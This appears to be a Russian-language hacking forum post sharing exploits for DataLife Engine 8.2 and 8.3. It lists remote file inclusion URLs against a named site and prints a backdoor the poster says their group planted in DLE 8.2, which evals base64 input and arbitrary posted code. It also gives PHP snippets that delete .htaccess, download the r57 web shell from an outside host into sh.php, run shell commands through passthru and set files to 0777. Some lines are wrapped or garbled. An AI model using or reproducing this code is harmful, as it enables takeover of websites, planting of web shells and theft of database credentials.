Выкладываю несколько
сплоитов для
DLE 8.3:
ttp://skripters.com/engine/inc/include/init.php?selected_language=http://loca
lhost/c.txt?
http://skripters.com/engine/inc/help.php?config[langs]=http://localhost/c.txt
?
http://skripters.com/engine/ajax/pm.php?config[lang_=[EV!L]
http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
host/c.txt?
http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
host/c.txt?
Сплоит для DLE 8.2: http://skripters.com/engine/api/api.class.php?dle_config_api=[shell.txt?]
есть ещё бекдор нашего производства, был добавлен в 8.2 версию:
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng'; 
;
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?versio
n_id=".$_REQUEST['versionid']."&key=".$config
1;'key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id'])); &nbs
p;
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body>
</HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes
0;$_POST['text']));
}}
Эти коды очень помогут для заливки шелла:
Удалить файл
$dir=ROOT_DIR.'/engine/cache/.htaccess';
unlink($dir);
Заливаем шел с названием sh.php
$file = file_get_contents('http://hack-expo.void.ru/groups/rg/rel/r57shell.t
xt');
$brd = fopen('sh.php','w+');
$write = fwrite ($brd, $file);
Показать дерикторию ../
$d = dir("../");
echo "Handle: ".$d->handle."<br>\\n";
echo "Path: ".$d->path."<br>\\n";
while (false !== ($entry = $d->read())) {
echo $entry."<br>\\n";
}
$d->close();
Просмотрт дирректории из консоли:
passthru("cd ./; ls -la");
MD5
Код:
$str = 'jone';
echo md5($str);
Показать ROOT_DIR.\'/engine/cache\'
$dir=ROOT_DIR.'/engine/cache';
$xcv=scandir($dir);
ksort($xcv);
for($i=0;$i<count($xcv);$i++){
$qwe=substr(sprintf('%o', fileperms($dir.'/'.$xcv[$i])), -4);
if(filetype($dir.'/'.$xcv[$i])=='dir'){ $color='#FF0000'; }else{ $color='#000066'; }
echo $qwe.' - <font color="'.$color.'">'.$xcv[$i].'</font
2;<br />';
}
Записать$dir=ROOT_DIR.'/engine/cache/sh.php';
$file = file_get_contents('http://hack-expo.void.ru/groups/rg/rel/r57shell.t
xt');
$brd = fopen($dir,'w+');
$write = fwrite ($brd, $file);
chmod$dir=ROOT_DIR.'/engine/cache/.htaccess';
@chmod($dir,0777);
@chmod('index.php',0777);